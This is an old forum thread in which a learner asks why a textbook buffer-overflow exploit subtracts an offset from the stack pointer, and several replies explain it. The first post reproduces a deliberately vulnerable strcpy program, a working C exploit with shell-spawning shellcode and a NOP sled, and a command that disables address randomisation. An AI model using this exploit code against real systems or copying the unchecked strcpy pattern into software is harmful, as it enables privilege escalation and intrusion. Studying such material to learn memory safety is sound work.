-
September 3rd, 2006, 11:59 AM
#1
Junior Member
Can't seem to grasp the concept of buffer overflows (appreciate help)
Heya.. I located a book called "Hacking - The art of Exploitation" and somewhere into chapter 2 he flips me off because I just can't seem to understand his technique.. Here's his example code:
vuln.c
Code:
int main(int argc, char *argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
exploit.c
Code:
#include <stdlib.h>
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";
unsigned long sp(void) // This is just a little function
{ __asm__("movl %esp, %eax");} // used to return the stack pointer
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;
offset = 0; // Use an offset of 0
esp = sp(); // Put the current stack pointer into esp
ret = esp - offset; // We want to overwrite the ret address
printf("Stack pointer (ESP) : 0x%x\n", esp);
printf(" Offset from ESP : 0x%x\n", offset);
printf("Desired Return Addr : 0x%x\n", ret);
// Allocate 600 bytes for buffer (on the heap)
buffer = malloc(600);
// Fill the entire buffer with the desired ret address
ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < 600; i+=4)
{ *(addr_ptr++) = ret; }
// Fill the first 200 bytes of the buffer with NOP instructions
for(i=0; i < 200; i++)
{ buffer[i] = '\x90'; }
// Put the shellcode after the NOP sled
ptr = buffer + 200;
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }
// End the string
buffer[600-1] = 0;
// Now call the program ./vuln with our crafted buffer as its argument
execl("./vuln", "vuln", buffer, 0);
// Free the buffer memory
free(buffer);
return 0;
}
One needs to disable the inherent buffer overflow protection of the 2.6 kernel :
Code:
echo 0 > /proc/sys/kernel/randomize_va_space
Provided this is done.. Simple buffer overflows like this one should work (the protection is circumventable I hear)
Anyway.. A stack representation should be:
ESP
-------------------------------------------- Low memory addresses
buffer
SFP (stack/saved frame pointer)
ret (return address)
argc
argv
-------------------------------------------- High memory addresses
EBP
Ok.. so the stack grows upward towards lower memory addresses.. But his way of finding the correct return
adress is to use the ESP/SP and *subtract* that value with an offset (in this case 0)..
Now.. I don't understand why he'd subtract from the ESP meaning he should end up in an even lower memory address which won't be the address of the buffer
... Modifying the vuln.c code to
vuln.c
Code:
int main(int argc, char *argv[])
{
long HugeRoadblock[500];
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
Should give a stack of:
ESP
-------------------------------------------- Low memory addresses
buffer
HugeRoadblock
SFP (stack/saved frame pointer)
ret (return address)
argc
argv
-------------------------------------------- High memory addresses
EBP
And results in the code not being able to run
So.. could somebody tell me exactly HOW it makes sense to subtract and offset from the SP to reach the address of the buffer ? I would have thought that you needed to *add* bytes.
Please help.. I'm really confused which probably shows in my post
-
September 3rd, 2006, 06:52 PM
#2
You subtract because the "base" of the stack is at
a higher address. Stuff you put there works its
way down to lower addresses. You are hoping that the
extra bytes will get written to an area of memory
where program code is executed.
I came in to the world with nothing. I still have most of it.
-
September 3rd, 2006, 08:37 PM
#3
If you disassemble the vuln executable with gdb, you can see that they are subtracting some number from %esp to allocate space on the stack for the buffer.
0x08048387 <main+3>: sub $0x208,%esp
So in the exploit code, when they grab %esp, they also subtract some number from it hoping that it is the right number so that they will get a proper return address so that their exploit is executed. Does that make any sense? I thought it might make it a bit clearer.
-
September 5th, 2006, 07:48 PM
#4
Junior Member
-
February 19th, 2007, 05:51 PM
#5
Junior Member
I dont get it though :P
In that code the function sp() returns the current stackpointer. The pointer on the top of the current stackframe (right?). And then they subtract an offset from it, which in this case is 0. So the value of esp is the adress of the top of the current stack. And why would you like to use that adress at the return adress?
I know I missed something vital, I've read several buffer overflow tutorials the last day and it's always this thing that bugs me.
EDIT: Yeah, and one more thing. When the function sp() is called shouldn't that function be pushed on the stack as a stack frame which means that sp it returns would be the adress of the sp of that stack frame?
Last edited by Adux; February 19th, 2007 at 05:59 PM.
-
February 20th, 2007, 02:24 AM
#6
Just out of curiosity, what do you think of this book so far? I have seen this book at the book stores before, but assumed that it was some 1337 book that taught you how to do the ping of death and other stuff you can tell your 1337 friends that you can now do , not even understanding what they are...so I overlooked it, and now that I see it coming up here I'm now wondering how good it actually is.
-
May 29th, 2007, 03:02 AM
#7
Its a neat book that covers a lot of the basics. You will have to poke around a little to understand some of the concepts explained.
-
May 29th, 2007, 03:47 AM
#8
Thanks, I think ill have to look into this now.
Posting Permissions
- You may not post new threads
- You may not post replies
- You may not post attachments
- You may not edit your posts
-
Forum Rules
|
|